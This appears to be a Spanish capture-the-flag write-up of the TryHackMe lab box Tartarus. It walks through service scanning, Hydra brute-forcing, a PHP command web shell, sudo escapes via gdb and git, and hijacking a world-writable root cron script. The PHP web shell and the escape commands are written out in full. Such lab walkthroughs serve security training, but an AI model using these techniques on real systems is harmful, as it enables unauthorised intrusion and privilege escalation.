This page looks best with JavaScript enabled

TryHackMe - Tartarus

 •  ✍️ sckull

Tartarus es una maquina de TryHackMe, realizamos ataque de fuerza bruta con Hydra y un wordlist con credenciales encontradas, con ello subimos una webshell y ejecutamos una shell inversa. Tras ejecutar una shell con GDB cambiamos a un segundo usuario. Ejecutamos Git junto con Sudo para acceder a otro usuario. Finalmente modificamos un script utilizado por un CronJob para obtener acfeso privilegiado.

Room

Titulo Tartarus box_img_maker
Descripción This is an beginner box based on simple enumeration of services and basic privilege escalation techniques.
Puntos *
Dificultad Facil
Maker

csenox

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), ssh (22) y el puerto http (80) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Nmap 7.80 scan initiated Wed Aug 12 00:19:21 2020 as: nmap -sV -o mini_scan tartarus.thm
Nmap scan report for tartarus.thm (10.10.50.182)
Host is up (0.25s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 12 00:19:54 2020 -- 1 IP address (1 host up) scanned in 32.65 seconds

FTP

Ingresamos por el servicio FTP con las credenciales de anonymous (anonymous:anonymous), en donde encontramos dos archivos de texto el primero es posible verlo a simple vista, el segundo tenia un pequeño truco y es que las carpetas estaban con el nombre ....

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
root@upset:~/thm/tartarus# ftp tartarus.thm
Connected to tartarus.thm.
220 (vsFTPd 3.0.3)
Name (tartarus.thm:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 .
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ..
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ...
-rw-r--r--    1 ftp      ftp            17 Jul 05 21:45 test.txt
226 Directory send OK.
ftp> get test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (17 bytes).
226 Transfer complete.
17 bytes received in 0.00 secs (197.6376 kB/s)
ftp> cd ...
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
l150 Here comes the directory listing.
s 226 Directory send OK.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 .
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ..
drwxr-xr-x    2 ftp      ftp          4096 Jul 05 21:31 ...
226 Directory send OK.
ftp> cd ...
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jul 05 21:31 .
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ..
-rw-r--r--    1 ftp      ftp            14 Jul 05 21:45 yougotgoodeyes.txt
226 Directory send OK.
ftp> get yougotgoodeyes.txt
local: yougotgoodeyes.txt remote: yougotgoodeyes.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for yougotgoodeyes.txt (14 bytes).
226 Transfer complete.
14 bytes received in 0.00 secs (26.3936 kB/s)
ftp> pwd
257 "/.../..." is the current directory
ftp> bye
221 Goodbye.
root@upset:~/thm/tartarus# cat test.txt 
vsftpd test file
root@upset:~/thm/tartarus# cat yougotgoodeyes.txt 
/[... REDACTED ...]
root@upset:~/thm/tartarus#

HTTP

Encontramos una pagina web de apache en el puerto 80.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
6
root@upset:~/thm/tartarus# gobuster dir -u http://tartarus.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/index.html (Status: 200)
/index.html (Status: 200)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)

En robots.txt encontramos una direccion/pagina y un mensaje.
image

En la direccion que encontramos vemos dos archivos, en el primer archivo encontramos un wordlist de contraseñas en el segundo una lista de usuarios.
image

En el directorio que encontramos en el archivo de texto en FTP logramos ver un panel de logeo.
image

HYDRA

Utilizamos hydra para hacer un ataque de fuerza bruta al panel de logeo con los wordlists que encontramos. Vemos 16 posibles contraseñas para el usuario enox.
image

Estas 16 posibles se muestran porque logramos encontrar el usuario pero no la contraseña, la sintaxis que utilizamos era para Incorrect username! y no para Incorrect password!. Volvemos a utilizar Hydra o probar la ultima contraseña.

Ingresamos con las credenciales vemos que podemos subir archivos.
image

Al subir una imagen solo nos muestra el mensaje que se ha subido mas no la direccion donde esta se encuentra.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos, esta vez en el directorio nuevo.

1
2
3
4
5
root@upset:~/thm/tartarus# gobuster dir -u http://tartarus.thm/sUp3r-s3cr3t/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/home.php (Status: 302)
/images (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)

USER - WWW-DATA

Encontramos la direccion /images donde se encuentra otra carpeta y tambien nuestra imagen.
image

Agregamos una shell a un archivo php y lo subimos, ejecutamos comandos.

1
<?php echo "<pre>"; system($_GET['cmd']); ?>

image

Ejecutamos una shell inversa y logramos obtener una shell con el usuario www-data.
image

En el directorio de d4rckh encontramos nuestra flag user.txt.
image

USER - THIRTYTWO

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos con sudo pero con el usuario thirtytwo para ejecutar el comando /var/www/gdb, utilizamos gdb.
image

Ejecutamos el comando y logramos obtener una shell con este usario.

1
sudo -u thirtytwo /var/www/gdb -nx -ex '!sh' -ex quit

image

USER - d4rckh

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos con sudo pero con el usuario d4rckh para ejecutar el comando git.
image

Además en la carpeta principal de thirtytwo encontramos una nota donde habla de git.
image

Utilizamos git. Ejecutamos el comando y logramos obtener una shell con el usuario d4rckh.

1
2
sudo -u d4rckh /usr/bin/git -p help config
#!/bin/sh

image

PRIVILEGE ESCALATION

En la carpeta principal de d4rckh encontramos un script de python que elimina todo lo que esté en /home/cleanup/. Además este mismo script es ejecutado por el usuario root en un cron.
image

1
2
3
4
5
6
7
8
9
#cleanup.py
# -*- coding: utf-8 -*-
#!/usr/bin/env python
import os
import sys
try:
	os.system('rm -r /home/cleanup/* ')
except:
	sys.exit()

El script tiene permisos 777 por lo que cualquiera puede leer, escribir y ejecutar. Renombramos el archivo existente y creamos uno nuevo con una shell inversa (python).
image

Logramos obtener una shell con usuario root y nuestra flag root.txt.
image

Share on

Dany Sucuc
WRITTEN BY
sckull
CTF Player | RedTeamer & Pentester wannabe